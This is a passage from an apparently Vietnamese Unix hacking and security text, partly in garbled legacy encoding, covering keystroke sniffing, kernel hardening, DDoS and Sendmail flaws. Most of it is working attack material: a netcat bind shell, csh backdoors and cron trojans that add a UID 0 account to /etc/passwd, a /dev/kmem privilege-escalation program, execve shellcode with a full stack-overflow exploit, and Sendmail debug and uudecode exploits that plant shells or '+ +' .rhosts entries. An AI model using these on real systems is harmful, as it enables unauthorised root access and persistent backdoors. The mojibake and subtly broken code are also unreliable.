m¹ng, gäi xkey. Ch­¬ng tr×nh ®ã cã tªn ttysnoop.c Nh­ ®· nãi, c¸c Hacker cßn cã thÓ ®äc c¸c có nhÊn phÝm cña c¸c cöa sæ ®Æc biÖt. Ch¼ng h¹n nh­ cöa sæ ID ®Æc biÖt cña Root cã thÓ ®­îc tãm bëi c¸ch gäi hµm XquerryTree(). Th­êng th× Windows Manager th­êng ®­îc dïng ®Ó ®iÒu khiÓn Windows-ID, còng nh­ nh÷ng có nhÊn phÝm trong nh÷ng kho¶ng thêi gian x¸c ®Þnh. ViÖc sö dông Windows Manager kÕt hîp víi chøc n¨ng Xlib, nh÷ng có nhÊn phÝm cã thÓ ®­îc tãm vµ KeySyms cã thÓ ®­îc biÕn chuyÓn vµo nh÷ng ®Æc tÝnh bëi c¸ch tiÕp tôc gäi ®Õn Xlookstrin. ThËm chÝ hacker cã thÓ göi Keysims ®Õn cho mét cöa sæ. Hacker kh«ng chØ r×nh mß trªn c¸c ho¹t ®éng cña n¹n nh©n, cßn cã thÓ göi nh÷ng sù kiÖn bµn phÝm tíi c¸c qu¸ tr×nh, t­¬ng tù nh­ lµ dïng bµn phÝm trªn chÝnh m¸y ®ã vËy!. Hacker cã thÓ ®äc vµ ghi c¸c sù kiÖn gâ phÝm cña mét cöa sæ Xtern tõ xa. Trojan X clients - xlock and X based logins B¹n cã nghÜ ®Õn mét ch­¬ng tr×nh thÝch hîp h¬n ®Ó thiÕp lËp mét chó ngùa thµnh Trojan chop mËt khÈu tèt h¬n xlock? Víi vµi dßng thªm vµo xlock.c , password mçi ng­êi dïng sö dông phiªn b¶n Trojan biÕn thÓ cña xlock cã thÓ ®­îc l­u gi÷ trong mét file vµ ®­îc sö dông sau nµy bëi c¸c Hacker. NÕu mét User cã mét th­ môc Home Directory cã thÓ viÕt (./home) trong biÕn m«i tr­êng ®­êng dÉn cña m×nh, th× rÊt dÔ bÞ tÊn c«ng kiÓu nµy. §Ó lÊy ®­îc Password cña hä hacker chØ viÖc ®Æt phiªn b¶n Xlock biÕn thÓ (Trojan) vµo Home Directory cña hä vµ chê høng Password th«i. Th­êng th× trong tr­êng hîp nµy User kh«ng biÕt ®­îc r»ng mËt khÈu cña m×nh ®· bÞ tãm. C¸c biÕn thÓ mang tÝnh Trojan cña Xlock còng nh­ c¸c ch­¬ng tr×nh kh¸c nh­ login...Cã rÊt nhiÒu trªn c¸c Site Hacking Unix. 3.2.14 TĂNG CƯỜNG AN NINH CHO KERNEL Mặc dù thừa hưởng những đặc tính của hệ thống UNIX và khá an ninh hơn một số hệ điều hành khác, hệ thống GNU/Linux hiện nay vẫn tồn tại những nhược điểm sau: Quyền của user ‘root’ có thể bị lạm dụng. User ‘root’ có thể dễ dàng thay đổi bất kỳ điều gì trên hệ thống. Nhiều file hệ thống có thể dễ dàng bị sửa đổi. Nhiều file hệ thống quan trọng như /bin/login có thể bị sửa đổi bởi hacker để cho phép đăng nhập không cần mật khẩu. Nhưng những file loại này lại hiếm khi nào thay đổi trừ phi khi nâng cấp hệ thống. Các module có thể được dùng để chặn kernel. “Loadable Kernel Module” là một thiết kế tốt để tăng cường tính uyển chuyển, linh hoạt cho kernel. Nhưng sau khi một module được nạp vào kernel, nó sẽ trở thành một phần của kernel và có thể hoạt động như kernel nguyên thủy. Vì vậy, các chưng trình mục đích xấu có thể được viết dạng module và nạp vào kernel, rồi sau đó hoạt động như một virus. Các process không được bảo vệ. Các process như web server có thể trở thành mục tiêu bị tấn công của hacker sau khi thâm nhập hệ thống. Để cải thiện tính an ninh cho các server Linux, chúng ta cần có một kernel an toàn hơn. Điều này có thể thực hiện được bằng cách sửa đổi kernel nguyên thuỷ bằng các ‘patch’ tăng cường tính an ninh cho hệ thống. Các patch này có các tính năng chính yếu sau: Bảo vệ – bảo vệ các file hệ thống quan trọng khỏi sự thay đổi ngay cả với user root. Bảo vệ các process quan trọng khỏi bị ngừng bởi lệnh ‘kill’. Chặn các tác vụ truy cập IO mức thấp (RAW IO) của các chương trình không được phép. Phát hiện – Phát hiện và cảnh báo với người quản trị khi server bị scan. Cũng như khi có các tác vụ trên hệ thống vi phạm các luật (rules) định trước. Đối phó – Khi phát hiện sự vi phạm trên hệ thống, các ghi nhận chi tiết sẽ được thực hiện cũng như có thể ngừng lập tức phiên làm việc gây ra Một vài công cụ sửa đổi kernel được sử dụng rộng rãi là LIDS (Linux Intrusion Detection System), Medusa, ... 3.2.15 AN TOÀN CHO CÁC GIAO DỊCH TRÊN MẠNG Có rất nhiều dịch vụ mạng truyền thống giao tiếp thông qua giao thức văn bản không mã hoá, như TELNET, FTP, RLOGIN, HTTP, POP3. Trong các giao dịch giữa người dùng với máy chủ, tất cả các thông tin dạng gói được truyền qua mạng dưới hình thức văn bản không được mã hoá. Các gói tin này có thể dễ dàng bị chặn và sao chép ở một điểm nào đó trên đường đi. Việc giải mã các gói tin này rất dễ dàng, cho phép lấy được các thông tin như tên người dùng, mật khẩu và các thông tin quan trọng khác. Việc sử dụng các giao dịch mạng được mã hoá khiến cho việc giải mã thông tin trở nên khó hơn và giúp bạn giữ an toàn các thông tin quan trọng. Các kỹ thuật thông dụng hiện nay là IPSec, SSL, TLS, SASL và PKI. Quản trị từ xa là một tính năng hấp dẫn của các hệ thống UNIX. Người quản trị mạng có thể dễ dàng truy nhập vào hệ thống từ bất kỳ nơi nào._.c "badmin" đang cố gắng xác định thư mục môi trường của nó bới biến LSF_ENVDIR kiểm tra. hac@localhost# : setenv LSF_ENVDIR `perl -e 'print "A" x 292'` hac@localhost# : lsadmin [or badmin] Segmentation fault Nó đã bị Buffer Overflow... Vulnerability #4: Bug này khá nguy hiểm...Hacker có thể làm tràn bộ đệm hay Get Root. Trong trường hợp không sẵn sàng sử dụng 'eauth' như một cơ chế chứng thực. Tất cả sự thực thi LSF được cài đặt với SUID = Root. Vấn đề này sẽ có thể dẫn đến lỗi tràn bộ đệm: hac@localhost# : bstatus `perl -e 'print "A" x 524'` Hacker có thể đặt giá trị trên 524 rất nhiều ... Get Root Để Get Root, hacker phải lợi dụng sự sơ hở về Permission của hệ thống. Thường thì /tmp được cấp phép khá lỏng lẻo. Đầu tiên hacker phải tạo một Shell đơn giản vào thư mục /tmp : hac@localhost# : cat /tmp/rootshell #!/bin/bash /bin/bash –I Bây giờ hacker lấy Netcat ra. Đặt Netcat ra Listen trên Port nào đó vào Shell mới tạo: victim@localhost# : nc –vv –l –p 9999 –e /tmp/rootshell listening on [any] 9999 Bây giờ hacker tiếp tục Connect đến Port 9999 mà đặt Listen ở trên: hac@localhost#: nc –nvv hacked.machine.com 9999 hacked.machine.com [172.18.9.1] 9999 (?) open stty: standard input: Invalid argument root@localhost#: pwd pwd /root Ta đã phần nào hiểu được một số cách tấn công Unix… để chủ động phòng chánh nó. 4.2 Bacdoor trong Unix Cách đơn giản nhất để hacker có thêm quyền là thêm 1 tai khoản UID 0 vào file passwd . Cái này dễ dàng nhất và nhanh chóng nhất giúp hacker nắm quyền thêm quền trong root . Tất nhiên hệ thống sẽ thông báo cho admin 1 tin rằng , Đang có sự thay đổi password. Hacker chỉ việc cài 1 con Backdoor rồi chạy nó. #!/bin/csh # Chèn 1 tài khoản UID=0 vào trong file passwd. set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... Hacker chay file *.pl hoặc *.cgi. Tuy nhiên ta sẽ không để UID 0 hoạt động , cái này do Admin quyết định , khi đó hacker thêm vào tài khoản UID 0 thì cũng coi như vô nghĩa, tuy ngiên hacker tìm cách khác bằng cách thay đổi password của những tài khoản có quyền gần như ngang hàng với Root ( VD : lbin ). Thêm 1 SUID root shell vào trong /tmp lại rất đơn giản bằng code sau : #!/bin/sh cp /bin/csh /tmp/.evilnaughtyshell chmod 4755 /tmp/.evilnaughtyshell Ta sẽ cho hệ thống tránh việc tồn tại những file bất hợp pháp trong /temp cho clean khi hệ thống đuợc reboot hay theo định kỳ . Chúng làm việc như 1 cron job. /var/spool/cron/crontabs/root and /etc/fstab Hacker có thể viết ra các con trojan có khả năng chay trên hệ thống như 1 cron mà không bị hạn chế điều gì . Cron-based trojan I. : #!/bin/csh # Is our eviluser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif Cron-based trojan II : #!/bin/csh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd chú ý :/dev/kmem exploit nó là đại diện cho hệ thống trong việc thay đổi UID . để yêu cầu /dev/kmem cho read/write permission thì hacker phải gọi được /dev/kmem (excute) và tìm kiếm được nội dung thông tin muốn thay đổi bằng trương trình sau: /* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } Hacker cũng có thể thay đổi nội dung trong /dev/kmem bằng đoạn code thay đổi UID trong passwd bằng cách nhúng thêm đoạn mã sau : chmod 666 /dev/kmem sleep 300 # Nap for 5 minutes chmod 600 /dev/kmem # Or whatever it was before Backdoor luôn là công cụ cho các Hacker , ở đây là Backdoor thực hiện những Script như view , del , up chứ không phải Backdoor mở Port. Thậm trí nếu server bảo mật kém thì khi hacker điều khiển Backdoor ta có thể ngang hàng với Root mà không phải leo thang đặc quyền. 4.3 Buffer Overflow (Tràn bộ đệm) Đa phần các exploit code của hacker được viết bằng c, dịch và chạy trên unix, nhằm tấn công vào lỗi tràn bộ đệm (buffer overflow) của máy chủ. Để nghiên cứu về vấn đề này cần rất nhiều thời gian và công sức, vì cả lý thuyết và thực hành đều không dễ dàng gì. Trước tiên xin nói về shellcode. Khi mở một exploit source file, ta thường thấy định nghĩa một mảng ký tự ví dụ như thế này: "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; Đó chỉ là dạng hiển thị ở hệ sô 16 (Hexa) của một tập lệnh, mà thường thì khá đơn giản, đó là hàm gọi execve của c để gọi tới một tiến trình khác trỏ bởi tên file, có thể là /bin/sh của unix hoặc c:\cmd.exe của windows. Việc sinh ra mã hexa này khá phức tạp. Bây giờ chúng ta cùng tìm hiểu xem dùng shellcode tấn công vào lỗi tràn bộ đệm như thế nào. Một đoạn lệnh đơn giản: char input[] = "aaaaaaaaaaa"; char buffer[10]; strcpy(buffer, input); // copy input vào buffer Khi chạy đoạn lệnh này sẽ sinh ra lỗi segmentation fault vì copy 11 byte vào buffer chỉ chứa được 10 byte. Còn đây là bản sửa lỗi: char input[] = "aaaaaaaaaaa"; char buffer[10]; strcpy(buffer, input, sizeof(buffer)); Vậy thì điều gì sẽ xảy ra khi gặp lỗi segmentation fault? Trong bộ nhớ thì cái buffer ở trên có dạng như sau: buffer sfp ret [BBBBBBBBBB][xxxx][xxxx] Trong đó 10 bytes đầu để chứa dữ liệu (thực ra chỉ có 9 byte thôi vì byte cuối phải chứa NULL để báo hiệu kết thúc). Sau đó là Stack Frame Pointer 4 byte và Return Address 4 byte nữa. Khi mà hàm strcpy được gọi thì một stack frame được cấp phát trong bộ nhớ với format như trên. Ví dụ: strcpy(one, two); printf("Okie\n"); Return address sẽ trỏ tới vị trí của lệnh gọi tới hàm printf trong bộ nhớ, và khi hàm strcpy kết thúc thì con trỏ lệnh sẽ chỉ tới đó. Bây giờ hãy thử tưởng tượng xem nếu ta thay đổi cái địa chỉ đặt ở đó, để cho nó trỏ đến vị trí của shell code thì sẽ ra sao? Nếu tiến trình đang thực hiện ở với quyền của root thì ta sẽ có được root shell. Nếu thay vì copy 10 byte chúng ta cop hẳn 18 byte thì nó sẽ được điền đầy: buffer sfp ret [dddddddddd][dddd][dddd] (giả sử byte dữ liệu là d) Lúc đó return address sẽ là 0x64646464 (vì mã hex của 'd' là 0x64 mà). Chú ý là string luôn bị ngắt bởi NULL (0x0), nên nếu đặt return address là 0x64006464 thì hai byte sau sẽ bị cắt đi. Một khái niệm cần quan tâm nữa là stack pointer. Mỗi một tiến trình khi chạy sẽ sinh ra một stack pointer trỏ đến địa chỉ khởi đầu của stack. Việc xác định stack pointer khá đơn giản bằng hàm sau: /* sp.c */ unsigned long sp(void) { ("movl %esp, %eax"); } // và có thể in ra được void main(void) { printf("0x%x\n", sp()); } Giả sử bạn dịch xong rồi chạy nó: $ ./sp 0xbfbffbc8 $ Thì giá trị của stack pointer là 0xbfbffbc8. Tức là tất cả các biến được cấp phát bộ nhớ của chúng ta trong chương trình sẽ nằm sau địa chỉ này. Từ địa chỉ này chúng ta sẽ tìm được địa chỉ của buffer. /************************************************************ * Linux 23 byte execve code. Greetz to preedator * *************************************************************/ char linux[]= "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x54" /* push %esp */ "\x59\x6a" /* pop %ecx */ "\x0b\x58" /* push $0x0b */ "\xcd\x80"; /* int $0x80 */ int main(){ void (*run)()=(void *)linux; printf("%d bytes \n",strlen(linux)); run(); } /* www.hack.co.za [28 April 2001]*/ Cái này đã test, tuy báo lỗi segmentation fault nhưng vẫn chạy tốt. Nó sẽ gọi đến sh một lần nữa, và ta có thể gõ exit để thoát ra. Ta hãy thử viết một chương trình nhỏ có ẩn chứa khả năng bị overflow: /* vulnerable.c */ int main(int argc, char *argv[]) { char buffer[500]; if(argc>=2) { strcpy(buffer, argv[1]); ptintf(“Done!”); } return 0; } Chương trình này sẽ copy tham số truyền từ ngoài vào một mảng 500 byte. Dịch và chạy thử : $ gcc -o vulnerable vulnerable.c $ ./vulnerable Hello Done $ Không có gì xảy ra cả vì “Hello” quá nhỏ so với 500 byte. Chúng ta lại viết thêm một chương trình nữa: /* overflow.c */ void main() { char buffer[501]; memset(&buffer, 'a', sizeof(buffer)); execl("./vulnerable", "vulnerable", buffer); } Nó sẽ gọi đến vulnerable và truyền vào một mảng 501 byte. $ gcc -o overflow overflow.c $ ./overflow $ Không có gì hiện ra cả, bởi vì lệnh strcpy đã sinh ra lỗi. Nếu chạy trên linux thì có thể sẽ hiện lỗi “Bus error”, còn trên cygwin thì không hiểu có cơ chế gì bảo vệ bộ nhớ nên không có thông báo lỗi. Bây giờ hacker có thể lợi dụng lỗi này để chạy shellcode. Có 500 byte để chứa shellcode, bây giờ hacker có thể xác định shellcode nằm ở đâu trong bộ nhớ và cho trỏ lệnh nhảy đến đó. Ở trên chúng ta đã biết các hacker có thể xác định được stack pointer, và buffer sẽ nằm ở đâu đó đằng sau vị trí này. Một tiểu xảo của các hacker, đó là dùng NOP. NOP (có lẽ là Not OPerate) là một lệnh assembly có mã \x90, nó chẳng làm gì cả, chỉ đơn giản là pass qua lệnh tiếp theo. Bình thường thì lệnh này ít sử dụng, chỉ đôi khi được dùng để tạo delay. được đặt vào trước shellcode khoảng 200 byte NOP, có thể chọn vị trí tương đối của buffer, khi con trỏ lệnh trỏ đến khu vực này thì chỉ mất thêm mấy msec trước khi shellcode được thực hiện. Để cho chắc chắn chúng tạo buffer lớn hơn 100 byte, nghĩa là 600 byte, và có dạng: [NOP][shellcode][return address] Chú ý là đằng sau shellcode được điền đầy bởi return address để đảm bảo rằng giá trị return address sẽ được ghi vào phần chứa return address của buffer. Có thể thay đổi giá trị của return address băng cách thêm vào sp một giá trị offset. Một chương trình của hacker như sau: /* exploit.c */ #include #define BUFFERSIZE 600 /* buffer + 100 bytes */ /* linux x86 shellcode */ char shellcode[] = "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x54" /* push %esp */ "\x59\x6a" /* pop %ecx */ "\x0b\x58" /* push $0x0b */ "\xcd\x80"; unsigned long sp(void) /* hàm lấy sp */ { ("movl %esp, %eax"); } void usage(char *cmd) { printf("\nusage: %s \n\n", cmd); exit(-1); } int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr, *osptr; if(argc<2) usage(argv[0]); offset = atoi(argv[1]); /* lấy giá trị offset 0 - 200 */ esp = sp(); /* lấy sp */ ret = esp-offset; /* sp - offset = return address */ printf("Stack pointer: 0x%x\n", esp); printf(" Offset: 0x%x\n", offset); printf(" Return addr: 0x%x\n", ret); /* cấp phát bộ nhớ cho buffer */ if(!(buffer = malloc(BUFFERSIZE))) { printf("Couldn't allocate memory.\n"); exit(-1); } /* điền đầy buffer bằng giá trị của return address */ ptr = buffer; addr_ptr = (long *)ptr; for(i=0; i<BUFFERSIZE; i+=4) *(addr_ptr++) = ret; /* điền nửa đầu của buffer bằng mã lệnh NOP */ for(i=0; i<BUFFERSIZE/2; i++) buffer[i] = '\x90'; /* ghi shellcode vào giữa buffer */ ptr = buffer + ((BUFFERSIZE/2) - (strlen(shellcode)/2)); for(i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* hehe bây giờ truyền buffer vào thằng vulnerable */ buffer[BUFFERSIZE-1] = 0; execl("./vulnerable", "vulnerable", buffer); return 0; } 4.5 DoS Muèn thùc hiÖn mét cuéc tÊn c«ng DDOS ph¶i cÇn Ýt nhÊt 3 yÕu tè: - Client: §©y lµ hÖ thèng bÞ kiÓm so¸t bëi Hacker. Nã ®­îc dïng nh÷ng c«ng cô nh­ Rootkit ®Ó dµnh quyÒn kiÓm so¸t mét hÖ thèng nµo ®ã, råi dß t×m nh÷ng Site bÞ qu¶n lý kÐm ®Ó cã thÓ lîi dông nh­ mét bé ®iÒu khiÓn. - Handler: Bé ®iÒu khiÓn ®ã ®Õn l­ît m×nh m×nh bÞ nhiÔm vµ ®­îc dïng ®Ó t¸c ®éng truy t×m c¸c Zombine. Th­êng lµ c¸c Server Unix cã ®é b¶o mËt kÐm. Sau khi t×m ®­îc nhiÒu Zombine. Handler sÏ tËp hîp chóng l¹i ®Ó ®iÒu khiÓn cuéc tÊn c«ng. - Zombine: §­îc l©y nhiÔm vµo c¸c Server cã cÊu ®é b¶o mËt kÐm. Hacker sÏ dïng trùc tiÕp c¸c Server nµy ®Ó Attack môc tiªu. Zombine sÏ tiÕp tôc tÊn c«ng môc tiªu cho ®Õn khi nµo cã lÖnh chÊm døt qu¸ tr×nh tÊn c«ng cña Hacker. VËy lµm sao ®Ó biÕt ®­îc hÖ thèng cña m×nh bÞ c¸c Hacker lîi dông biÕn thµnh Zombine ? C¸ch ®èi phã Cã rÊt nhiÒu c¸ch ®èi phã. Nh­ng cã lÏ c¸ch ®¬n gi¶n vµ Ýt tèn kÐm nhÊt lµ lu«n kiÓm tra vµ ng¨n chÆn hÖ thèng cña m×nh kh«ng bÞ c¸c Hacker lîi dông. Ta cã thÓ dïng c«ng cô Zombine Zapper khi nghi ngê hÖ thèng cña m×nh ®ang cã nguy c¬ trë thµnh Zombine Zombine Zapper: Ch­¬ng tr×nh cã kh¶ n¨ng ho¹t ®éng nh­ nh÷ng Client tíi DDOS Server ®ang Send nh÷ng gãi tin lµm ngËp ®Õn môc tiªu. Nã lµ mét Tool rÊt h÷u hiÖu khi nghi ngê hÖ thèng ®ang cã kh¶ n¨ng trë thµnh mét Zombine, vµ cã thÓ nhanh chãng v« hiÖu ho¸ Zombine nµy tr­íc khi hÖ thèng cña ta bÞ Hacker lîi dông. Zombine Zapper cã thÓ ®ãng c¸c DDOS Server. Khi nµo nªn sö dông Zombine Zapper ? Ta cã thÓ cÊu h×nh c¸c thiÕt bÞ, dÞch vô IDS (dß x©m nhËp) ®Ó chóng tù ®éng ch¹y Zombine Zapper chèng l¹i nh÷ng l¹i sù lîi dông hÖ thèng cña m×nh. Theo c¸ch nµy vÊn ®Ò sÏ tù ®éng ®­îc gi¶i quyÕt. Cã thÓ Down Zombine Zapper ë Biªn dÞch vµ cµi ®Æt Zombine Zapper Libnet: TËp hîp th­ viÖn hç trî cho phÐp cho phÐp hÖ thèng t¹o ra nh÷ng packet trªn sö dông trªn m¹ng. HÖ thèng buéc ph¶i cã th­ viÖn nµy nÕu nh­ muèn sö dông Zombine. §©y lµ mét th­ viªn hÕt søc ®¹i chóng trªn nÒn OS Unix/Linux. Cã thÓ Down chóng ë: Khi ®· cã trong tay Source Code cña ZZ vµ Libnet. §Çu tiªn cÇn ph¶i bung nÐn cho c¸c gãi b»ng lÖnh: tar -zxvf *.tar.gz Sau khi bung nÐn xong ta b¾t ®Çu cµi ®Æt Libnet. B»ng c¸ch chuyÓn ®Õn th­ môc võa bung nÐn Libnet råi ch¹y Script configure b»ng lÖnh: ./configure Sau khi thùc hiÖn xong lÖnh nµy, gâ tiÕp: make make install §Ó kÕt thóc viÖc cµi ®Æt Libnet: make supp make ulti B©y giê ta b¾t ®Çu biªn dÞch ZZ. Th«ng b¸o cho tr×nh biªn dÞch GCC biÕt r»ng Libnet ®· tån t¹i trªn hÖ thèng cña m×nh b»ng lÖnh: gcc 'libnet-config -defines' -o zz zz.c -lnet CÊu tróc lÖnh c¨n b¶n cña Zombine Zapper. Sau khi biªn dÞch xong ZZ, ta gâ ./zz Nh÷ng th«ng tin: Zombie Zapper v1.2 - DDoS killer Bugs/comments to thegnome@razor.bindview.com More info and free tools at Copyright (c) 2000 BindView Development === You must specify target(s) or a class C to send to USAGE: ./zz [-a 0-5] [-c class C] [-d dev] [-h] [-m host] [-s src] [-u udp] [-v] hosts -a antiddos type to kill: 0 types 1-4 (default) 1 trinoo 2 tfn 3 stacheldraht 4 trinoo on Windows 5 shaft (requires you use the -m option) -c class C in x.x.x.0 form -f time in seconds to send packets (default 1) -d grab local IP from dev (default eth0) -h this help screen -m my host being flooded (used with -a 5 above, only one host) -s spoofed source address (just in case) -u UDP source port for trinoo (default 53) -v verbose mode (use twice for more verbosity) host(s) are target hosts (ignored if using -c) Trong ®ã cÇn chó ý ®Õn mét sè tuú chän sau: -a : Cho phÐp chØ râ ®Þa chØ mµ nghi ngê ®ang lµ Zombine. -c : Dïng tuú chän nµy ®Ó Scan toµn bé c¸c Host thuéc ph©n líp C, nÕu ch­a biÕt chÝnh x¸c Host nµo ®ang bÞ nhiÔm Zombine. -s: Spoof ®Þa chØ cña ta, kh«ng cho Hacker biÕt ai ®· ng¨n chÆn Zombine cña hä. -u : ChuyÓn ®æi Port UDP mÆc ®Þnh. Mét sè vÝ dô cô thÓ. Sau khi biªn dÞch thµnh c«ng ZZ ta ch¹y thö nã b»ng lÖnh: ./zz Cã mét Help Menu. Gi¶ sö! ta ®ang nghi ngê trong hÖ thèng m¹ng cña ta 192.168.5.0 cã vµi host ®ang trªn ®ã ®ang göi nh÷ng gãi tin TFN (Tribal Flood Network). Th­êng th× TFN Server th­êng sö dông nh÷ng Password mÆc ®Þnh. Khi muèn Server TFN ë trªn Host ®ã ngõng ho¹t ®éng. Ta dïng lÖnh ./zz -c 192.168.5.9 Toµn bé nh÷ng TFN Server trªn ph©n l¬p m¹ng C sÏ bÞ v« hiÖu ho¸. Khi muèn v« hiÖu hãa TFN Server trªn mét ®Þa chØ cô thÓ vÝ dô nh­ 207.192.45.2 dïng lÖnh: ./zz -a 2 207.192.45.2 §Ó biÕt nhiÒu th«ng tin h¬n vÒ gãi ®­îc göi ra, cã thÓ dïng tuú chän -vv: ./zz -a 2 -vv 207.192.45.2 NÕu muèn Spoof ®Þa chØ cña m×nh ®Ó c¸c Hacker kh«ng biÕt r»ng ai ®· ng¨n chÆn c¸c gãi tin lµm ngËp cña anh ta th× cã thÓ sö dông tuú chän -s ®i kÌm víi ®Þa chØ IP mµ muèn Spoof, ta dïng lÖnh: ./zz -a 2 -vv 207.192.45.2 -s 10.1.2.3 4.6 Các lỗ hổng bảo mật của Sendmail Sendmail là gì ? Sendmail là một Server phục vụ việc gửi và nhận E-mail. Mặc định nó được cài đặt và sử dụng trên hầu hết các họ NOS thuộc Unix như: Linux, SunOS, HP-UX, Solaris...Tuy nhiên Sendmail là một chương trình quá phức tạp với hơn 80000 dòng lệnh C. Lên đã có rất nhiều lỗ hổng bảo mật về nó được phát hiện. Danh sách các lỗ hổng bảo mật của Sendmail. 1) Wiz Đầy được coi là Bug lâu đời nhất và dễ bị khai thác nhất trong Sendmail. Bây giờ rất khó tìm được các Bug kiểu này. Khi Connect được vào sendmail, chỉ cần gõ “wiz” và tiếp đó gõ “shell” và hacker đã có RootShell trong tay. 2) Debug Bug này được phát hiện và sử dụng bởi Inet Worm của Robert T.Morris. Nó cho phép bất cứ ai cũng có thể chạy các chương trình trên Server từ xa. Nó tiềm ẩn ở trong các dòng lệnh Debug. Sử dụng một ống nối tới /bin/sh như người phục vụ và sử dụng các lệnh muốn thực thi các chương trình trên Server từ xa. Ta xem thử ví dụ sau: #!/bin/sh telnet << EOF open fucked.host.edu 25 debug mail from: rcpt to: data cp /bin/sh /tmp/sushi # or alternatively: chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts . EOF 3) Turn Bug này cho phép các Hacker coi trộm mail của các User. Nó hơi phức tạp và khó sử dụng. 4) Overflow Input Buffer Buffer luôn được coi là ác mộng của các hệ thống và Sendmail cũng không phải là ngoại lệ. Bộ đệm của Sendmail mặc định dài 128 byte. Chuyện gì sẽ xảy ra khi một Hacker Connect đến Sendmail rồi gửi khối dữ liệu gồm 1000 chữ “a” đến lệnh VRFY thay vì tên người dùng ? Echo “vrfy ‘perl –e ‘print “a” x 1000’’” |nc 25 Bộ đệm VRFY của Sendmail chỉ quy định nắm giữ 128 byte thôi, nhưng đầu vào lại bị nhét đến 1000 byte...Chắc chắn bộ đệm của nó sẽ bị tràn, dẫn đến Crash. 5) Decode Alias Nếu ‘etc/alises’ chứa đựng "|/usr/bin/uudecode" , bất cứ ai cũng có thể gửi mail đến Decode, ghi đè bất cứ file nào mà họ thích lên Deamon. Để kiểm tra Bug này ta làm như sau: % telnet target.com Trying 127.127.127.127 Connected to target.com Escape character is '^]'. 220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode 250 quit Tiếp đó gõ: % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com Hoặc: MoreThan1SecExploit: % cat > outfile # Let's make our .rhosts file + + ^C % uuencode outfile /usr/bin/.rhosts begin 644 /bin/.rhosts $*R'K"O\ Lại tiếp tục Telnet đến Senmail để khai thác: % telnet fuqdhost.com 25 220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST) VRFY decode 250 MAIL FROM: bin 250 ... Sender Okay RCPT TO: decode 250 ... Recipient Okay DATA 354 Enter mail, end with "." on a line by itself begin 644 /bin/.rhosts $*R'K"O\ # which is just "+ +" uuencoded end . 250 Mail accepted quit 221 fuqdhost.com closing connection Connection closed by foreign host. % rlogin fuqdhost.com -l bin $ Nếu không có Home Directory nào được biết hoặc được ghi, một biến đổi thú vị sẽ cho phép tạo ra một bogus /etc/aliases.pag file chứa đựng một bí danh lệnh cho phép Excute trên 